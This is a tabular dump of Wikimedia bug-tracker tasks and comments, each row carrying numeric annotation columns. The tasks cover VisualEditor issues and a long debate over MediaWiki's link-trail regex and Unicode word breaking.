+**Severity**: normal",Low,25.0,1362783660,1363626420.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_description,resolved,True,c1,1,False,False,True,-17,,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+221850,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200",https://gerrit.wikimedia.org/r/#/c/53165/,,,1363011611,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47701,VisualEditor: Add static name property to CE nodes,"DM nodes have a static name property which is used by the nodeRegistry. CE nodes currently have their names written out at least twice. It also creates unnecessary complexity when inheriting CE nodes as the parent constructor cannot be used (as it contains the parent's name hard coded).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1362405720,1362705677.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_description,resolved,True,c1,1,True,False,True,-17,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+209775,VisualEditor: Add static name property to CE nodes,Related URL: https://gerrit.wikimedia.org/r/52545 (Gerrit Patch-Set: Ibf31de16ab28ad58209c1443cd74f93dda278998/7),,,1362697441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_subcomment,,True,c1,1,False,,,-17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+209769,VisualEditor: Add static name property to CE nodes,Fixed with https://gerrit.wikimedia.org/r/#/c/52545/,,,1362610508,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+47291,VisualEditor: Kill global functions in test suites,"Functions like runConverterTests() and what not are often global functions in the test file. These should be un-global-ified somehow.
+",Low,25.0,1361566080,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ynic2zitioz5lqrrxvlq,task_description,open,True,c1,1,False,False,,-19,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+210165,VisualEditor: Kill global functions in test suites,"Found a few:
+
+- ve.dm.ModelRegistry.test
+* function checkForPickMe
+
+- ve.dm.Transaction.test
+* function runBuilderTests
+* function runConstructorTests",,,1369152667,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynic2zitioz5lqrrxvlq,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0
+210160,VisualEditor: Kill global functions in test suites,I can't find these any more. Resolved?,,,1369145400,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynic2zitioz5lqrrxvlq,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0
+47264,VisualEditor: SurfaceFragment methods don't document their chainability properly,"The hallmark of chainability in VE, dm.SurfaceFragment, doesn't actually use @chainable to document the chainability of most of its methods.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1361494680,1361748260.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lshlhzbjuwcfnblbdwsc,task_description,resolved,True,c1,1,False,False,True,-19,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0
+208663,VisualEditor: SurfaceFragment methods don't document their chainability properly,Change-Id: Ib950422ddb78d7b91545399a6053e82ae2dbd932,,,1361614307,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lshlhzbjuwcfnblbdwsc,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+47183,VisualEditor: newFromWrap() should perform validation,"ve.dm.Transaction.newFromWrap() currently doesn't check that the transaction it generates will be valid. That is, it will ensure that things are unwrapped correctly, but it doesn't check that the result doesn't end up violating parent/child restrictions.
+
+It's not entirely clear to me whether we should try to rectify that or throw an exception, but either of those is better than generating a transaction that, when applied, will make the document nonconformant.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1361325660,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-dxxwsml3j6lvywpngjgf,task_description,open,True,c1,1,False,False,,-19,,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+47132,VisualEditor: Warn user when saving page with <ref>s but not <references />,"When a user saves a page, VE should check for references (<ref>s) created without the de-referencing block (<references /> or {{reflist}} or...) and intervene:
+
+* prompt them to fix before saving (out of the notices area?);
+* refuse to save before fixed (grey out the save button?); or
+* auto-fix for them (insert a ""== References ==\n<references />"" section just above the categories), though this (a) sucks, (b) enforces a particular wiki's style on other wikis in code, and (c) would be difficult to internationalise
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54906
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51260",Low,25.0,1361220060,1508927932.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-bw6slpyeq2u23y3ltra6,task_description,invalid,True,c1,1,True,False,False,-19,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+953262,VisualEditor: Warn user when saving page with <ref>s but not <references />,"This probably doesn't really matter any more, since the absence of a references template will simply cause the references to display at the end of the page.",,,1508927932,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,225,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+226494,VisualEditor: Warn user when saving page with <ref>s but not <references />,"The last thing I want us to be doing is adding more error messages. I really think that we can get away with actually fixing the error for people. 
+
+I'd rather see us put it in the wrong place and someone have to fix it than us give the user an error they probably don't know how to fix. 
+
+Can we do a quick audit of major sites and where they put the reference list? I worry we're worrying a bit too much about about negative feedback that might not be as big a deal as we might think.",,,1383182051,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,17,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,0,0
+226490,VisualEditor: Warn user when saving page with <ref>s but not <references />,"(In reply to comment #4)
+> The auto-fix option in comment 0 has been requested today by en.wp user
+> Mahitgar. If the issues noted can be overcome, then it would be the most
+> user-friendly way forward.
+> 
+> Regarding those issues, it is not obvious why this ""sucks"" - please could you
+> elucidate?
+> 
+> Internationalisation of the section title could (I guess easily) be achieved
+> by
+> inserting the contents of a MediaWiki page instead of something defined in
+> code. e.g. the equivalent of
+> 
+> ==={{subst:MediaWiki:Refsection title}}===
+> <{{subst:MediaWiki:Reflist function name}} />
+> 
+> 
+> This doesn't solve the option of imposing en.wp style on other wikis though.
+
+Blindly putting the references section at the end of the article seems to not be great (it'd be after the ""external links"" and ""see also"" sections, and after any stub or thematic templates).",,,1376520004,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,6,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+226484,VisualEditor: Warn user when saving page with <ref>s but not <references />,"The auto-fix option in comment 0 has been requested today by en.wp user Mahitgar. If the issues noted can be overcome, then it would be the most user-friendly way forward.
+
+Regarding those issues, it is not obvious why this ""sucks"" - please could you elucidate?
+
+Internationalisation of the section title could (I guess easily) be achieved by inserting the contents of a MediaWiki page instead of something defined in code. e.g. the equivalent of
+
+==={{subst:MediaWiki:Refsection title}}===
+<{{subst:MediaWiki:Reflist function name}} />
+
+
+This doesn't solve the option of imposing en.wp style on other wikis though.",,,1376323198,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,6,,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+226478,VisualEditor: Warn user when saving page with <ref>s but not <references />,*** Bug 51910 has been marked as a duplicate of this bug. ***,,,1375192364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226471,VisualEditor: Warn user when saving page with <ref>s but not <references />,"Bug 50779 makes it easy to accidentally delete the references list, so this should check for its presence every save not just when references have been added.",,,1375180866,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+226462,VisualEditor: Warn user when saving page with <ref>s but not <references />,"Currently this would require scanning for the exact html it outputs as the <span style=""color:red;"">...</a> tag. Which can be tricky to do reliably.
+
+Though the Cite extension could perhaps be the first to give their elements some kind of standard attribute for parse errors, it should probably do more like the TemplateData extension: Refuse to save without it and show a warning there instead. Then the API will return to VE with a nice { error: .. } block containing a error code which we can use to fetch a localised message.",,,1371776892,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+47126,The default (English) link trail ($linkTrail) only matches [a-z],"Using a more extensive default $linkTrail regex was tried in 416c84480 (although I don't know why it used `\p{L&}` rather than `[[:alpha:]]` or `\p{L}`), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE. It may not work correctly for alphabets other than Latin.
+
+----
+
+Please have a look at 
+https://www.wikidata.org/wiki/MediaWiki:Gadget-rightsfilter/hu
+where the link has the form [[:hu:Reguláris kifejezés|regex]]alapú
+and ""ú"" is not linked.
+This is a multilingual project, so all letters should be included into links, or at least all Hungarian letters. :-)",Low,25.0,1361209560,,PHID-USER-4c6srusxkc3xljf73qq6,False,,False,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_description,open,True,c1,1,False,False,,-19,,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+715240,The default (English) link trail ($linkTrail) only matches [a-z],">>! In T47126#2509560, @Verdy_p wrote:
+> link trails are just a minor facility for **lazy** English contributors using the Wiki code editor.
+
+Those links can be used in many languages. In German Wikipedia they are used exceedingly!
+",,,1471883260,,PHID-USER-co4khfkxwku2c5tgvhnc,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,164,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+703561,The default (English) link trail ($linkTrail) only matches [a-z],"\p{Latin} would not be sufficient to avoid breaking words. There are languages needing other characters within Latin, notably with combining sequences. See for example Vietnamese that could use letters with two diacritics ! See also Chinese pinyin text, and some African languages.
+
+In fact the minimum would require adding all combining characters (really needed to avoid breaking default grapheme clusters), all joiner controls, digits (including their wide versions used in CJK contexts because p{Latin} also includes wide letters), and a few punctuations (and the soft hyphen, but probably not the minus-hyphen).
+
+Handling the ASCII apostrophe is complex (even more complex in MediaWiki due to its use to markup bold and italic styles: an initial parsing of these wiki syntax would be needed to know if these are apostrophes or markup...).
+
+Note also that the apostrophe mays also be used as a quote (this is covered in more details in Unicode word breakers), and that this concerns not only the the ASCII apostrophe but also the rounded apostrophe.
+
+Again, it is really needed to look at the Unicode standard :
+
+# a MUST-HAVE in all cases, for all languages first requires not breaking any combining sequences before any characters with a non-zero combinining class and not even before CGJ), and to ensure that canonically equivalent strings will always break identically (needed for strict process conformance as required by the standard in all algorithms).
+#  the rules for default grapheme clusters breakers (this adds some unbreakable sequences for Latin text), these rules are language-neutral (there are a few rules to take for Latin text, notably ""spacing diacritics"", and joiners; we could exclude here some ""letterlike"" symbols that are not really Latin).
+#  the rules for word breakers (even if we consider only Latin-written languages): these rules however are language-sensitive (English is simple at this step but not all Latin-written languages, here there's the case for apostrophes, hyphens...)
+
+In summary, it will be much more complex than just a regular expression: it requires a specific parser code (look at ICU implementation).",,,1470057925,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,161,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+703418,The default (English) link trail ($linkTrail) only matches [a-z],Hungarian was cited because the current conservative linktrail rules break Hungarian words. `\p{L}` or `\p{L&}` would work well for Hungarian (I imagine the latter was used to avoid affecting CJK languages; no idea how well that works). Even `\p{Latin}` would be fine.,,,1470035748,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,161,,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+703368,The default (English) link trail ($linkTrail) only matches [a-z],For years it was corrected in the other direction. It would be mad to change this now.,,,1470008927,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+703212,The default (English) link trail ($linkTrail) only matches [a-z],"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).
+
+My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** English contributors using the Wiki code editor.
+
+In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links.",,,1469974285,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+703210,The default (English) link trail ($linkTrail) only matches [a-z],"I don't think that ""cleanup"" operations such as automated replacement of [[Dog|dogs]] to [[dog]]s are useful. In fact they are counterproductive (and in fact unnecessary for the Visual Editor that should completely avoid using these link trails).
+
+My opinion is we **should deprecate** these old link trails and in fact correct the other ways (link trails are just a minor facility for **lazy** editors using the Wiki code editor.
+
+In fact, even the Wiki editor should better automatically convert these trails (only [a-z]) to regular links without them. It would also simplify the parsers for bots and analysers. Contributors should always use regular links, that are in fact more readable, and more explicit about the effective range of text covered by links.",,,1469974218,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+701736,The default (English) link trail ($linkTrail) only matches [a-z],"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget on Polish Wikimedia projects that applies wikitext code cleanup, and one of the cleanups it does is converting things like `[[Dog|dogs]]` to `[[dog]]s`. I would be very sad if we wanted to get rid of them.",,,1469663792,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+701734,The default (English) link trail ($linkTrail) only matches [a-z],"I can say that link trails work well in Polish, which has fairly complex conjugation and declension rules. I'd make a wild guess that it works in around 50% of cases (in English it's more like 99%, as you say). There is a very popular gadget that applies wikitext code cleanup, and one of the cleanups it does is converting things like `[[Dog|dogs]]` to `[[dog]]s`. I would be very sad if we wanted to get rid of them.",,,1469663654,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+701733,The default (English) link trail ($linkTrail) only matches [a-z],"Note als othat a few languages written in the Latin script also use ""agglutination"" for creating very long custom ""words"" by using many prefixes/inffixes/suffixes (and often some internal mutations). Such extension may break for example in Finnish or Hungarian (Hungarian was cited at top of this bug).
+
+Any way I don't think that link trails are a very good idea: users can't control it easily (and should not have to include some arbitrarty separation toklen such as ""nowiki/>"" to limit these trails. Link trails were added only for lazy English writers that want to create links to a singural noun, by placing the final ""s"" of the displayed plural in the trail, or for placing some common suffixes (""ed"", ""s"") of conjugated verbs (but it does not work when there are more complex mutations such as ""*y -> *ies"").
+
+This concept of link trails does not even exist in HTML. And anyway with the Visual Editor, we much less need it now as it is simpler to edit links separately of their visible text content.
+",,,1469663399,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+701731,The default (English) link trail ($linkTrail) only matches [a-z],"> Such link trails should contain only letters or digits in the same script as the last string script used within the inner text of the link and only if that script is alphabetic or an abjad, but probably not Indic abugidas and not any sinographic script (a good question is: can we extend some kanas after a kanji in the inner text of the link (I don't think so), but we can probably extend runs of kanas.
+
+There are some rules for semi-sensible word breaking in CJK languages. VisualEditor implements some of them to be able to e.g. extend selection to the word around cursor when inserting an internal link. I'm not sure if they're simple enough to implement as a regexp; @dchan can probably advise.",,,1469663161,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+701728,The default (English) link trail ($linkTrail) only matches [a-z],"In my opinion [[:alpha:]] or \p{L} would be wrong for Chinese and Thai at least ! they would produice overlong links sticked side by side everywhere and covering most contents in all paragraphs. In Wikipedia, almost all the text of paragraphs would be blue except the start of paragraphs without significant words.
+
+Such link trails should contain only letters or digits in the same script as the last string script used within the inner text of the link and only if that script is alphabetic or an abjad, but probably not Indic abugidas and not any sinographic script (a good question is: can we extend some kanas after a kanji in the inner text of the link (I don't think so), but we can probably extend runs of kanas.
+
+The Unicode rule of matching identifiers is not usable for this (we are not in the context of a programminc language but within a context of use by a natural language, so the punctuation/spacing rules are very different).
+
+If we want a regexp, for now let's focus only in Latin, Greek, Cyrillic, Arabic, Hebrew, and possibly Hangul, breaking the run if there's any change of script (but not if these are ""weak"" digits belonging to all scripts). Extending the regexp for other scripts should be tested first (the hint here is to look at existing rules existing in CLDR for *word breakers* and look at the Unicode standard covering this complex aspect. And may be include also the line breakers to restrict more the link trails to get shorter runs.
+
+However this should not be very language specific: it should better be script-specific.
+
+",,,1469662578,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1
+701333,The default (English) link trail ($linkTrail) only matches [a-z],"Historical note: Using a more extensive regex was tried in 416c84480 (although I don't know why it used `\p{L&}` rather than `[[:alpha:]]` or `\p{L}`), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE.",,,1469628163,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,0,0,1,1,1,0,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
